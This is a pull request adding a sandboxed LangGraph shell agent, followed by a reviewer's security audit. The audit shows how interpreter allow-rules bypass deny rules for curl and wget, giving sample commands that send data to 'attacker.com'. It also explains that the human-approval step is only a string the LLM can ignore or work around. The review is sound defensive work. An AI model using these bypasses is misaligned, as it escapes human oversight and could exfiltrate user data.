feat: add sandbox_agent with per-context workspace isolation

[Ladas]

Summary

• New sandbox_agent LangGraph agent with sandboxed shell execution
• settings.json three-tier permission checker (allow/deny/HITL)
• sources.json capability declaration (registries, remotes, runtime limits)
• Per-context workspace manager on shared RWX PVC
• Sandbox executor with timeout enforcement
• Shell, file_read, file_write tools for LangGraph
• A2A server with streaming support

Tests

68 unit tests passing (permissions, sources, workspace, executor, graph)

Design Doc

See docs/plans/2026-02-14-agent-context-isolation-design.md in kagenti/kagenti repo

🤖 Generated with Claude Code

[pdettori]

Security & Completeness Review

Three issues identified — two security-critical and one enforcement gap. Details in inline comments below.

[pdettori]

🔴 Critical: Shell interpreter allow-rules bypass all deny rules

The allow list grants shell(bash:*), shell(sh:*), shell(python:*), and shell(python3:*) unconditionally. Because _match_shell() in permissions.py performs prefix-only matching on the command string, a command like:

bash -c "curl http://attacker.com/exfil"
python3 -c "import subprocess; subprocess.run(['curl', ...])"

will match shell(bash:*) / shell(python3:*) in the allow list, while the deny rules shell(curl:*) and shell(wget:*) only match commands that start with curl or wget. The network(outbound:*) deny rule is typed as network, but the executor only ever calls permission_checker.check("shell", operation) — there is no code path that checks outbound network at the OS/syscall level.

This is a complete sandbox escape: any denied command can be trivially executed as a subprocess of an allowed interpreter.

Suggested fix: Either (a) remove bash/sh/python/python3 from the blanket allow-list and whitelist specific scripts instead, or (b) add recursive argument inspection in _match_shell() for interpreter commands (detecting -c flags, pipe chains, etc.), or (c) use OS-level enforcement (seccomp, network policies) as a second layer.

[pdettori]

🔴 Critical: HITL has no hard interrupt — LLM can bypass approval

The HitlRequired exception is caught here and converted to a plain string ("APPROVAL_REQUIRED: ...") returned to the LLM. There is no interrupt() call (LangGraph's mechanism for pausing the graph and requiring human input). The graph construction in build_graph() uses tools_condition and ToolNode but never calls interrupt().

This means the agent loop continues after receiving this string, and the LLM is free to:

1. Ignore the approval message entirely
2. Attempt a workaround command (e.g., rewriting the denied command using an allowed shell interpreter — see Issue 1)
3. Simply not relay the approval request to the user

The docstrings in executor.py and permissions.py state that HITL "triggers LangGraph interrupt() for human approval," but the actual implementation relies on LLM self-reporting. This is not a security control — it is advisory at best.

Suggested fix: Replace the except HitlRequired handler with a proper LangGraph interrupt() call that pauses the graph execution and requires explicit human approval before resuming.

[pdettori]

🔴 No TTL enforcement or workspace cleanup

ttl_days is accepted here and written into .context.json metadata (line 91), but there is no implementation that ever reads this value back or acts on it. Specifically:

• No cleanup job, eviction logic, or scheduled task
• No delete_workspace() method exists
• No comparison of created_at + ttl_days against current time
• disk_usage_bytes is tracked passively but never checked against any quota
• The only public methods are get_workspace_path(), ensure_workspace(), and list_contexts()

On a shared RWX PVC in a multi-tenant Kubernetes environment, this means workspaces accumulate indefinitely, creating both a resource exhaustion risk and a data retention compliance gap.

Suggested fix: Either (a) implement a cleanup_expired() method and wire it into a CronJob or startup hook, or (b) explicitly document ttl_days as advisory/future-only and add a tracking issue for enforcement.

[pdettori]

🟡 is_package_blocked() and is_git_remote_allowed() are never called in production code

These methods (and is_package_manager_enabled()) are defined and unit-tested but never wired into the executor or graph. In production code, only the following SourcesConfig members are used:

• is_web_access_enabled() — called in graph.py:_make_web_fetch_tool
• is_domain_allowed() — called in graph.py:_make_web_fetch_tool
• max_execution_time_seconds — used in executor.py:_execute

This means:

• pip install <blocked-package> will succeed if shell(pip install:*) is in the allow list — the blocked_packages list in sources.json is never consulted
• git clone <disallowed-remote> will succeed if shell(git clone:*) is in the allow list — allowed_remotes in sources.json is never checked
• max_memory_mb is also defined but never enforced

The sources.json capability layer was clearly designed as a second enforcement layer, but it is not wired up to the shell execution path.

Suggested fix: Either (a) add pre-execution hooks in the executor that call is_package_blocked() / is_git_remote_allowed() for matching commands, or (b) explicitly document these as "advisory only / planned for future iteration" and file tracking issues.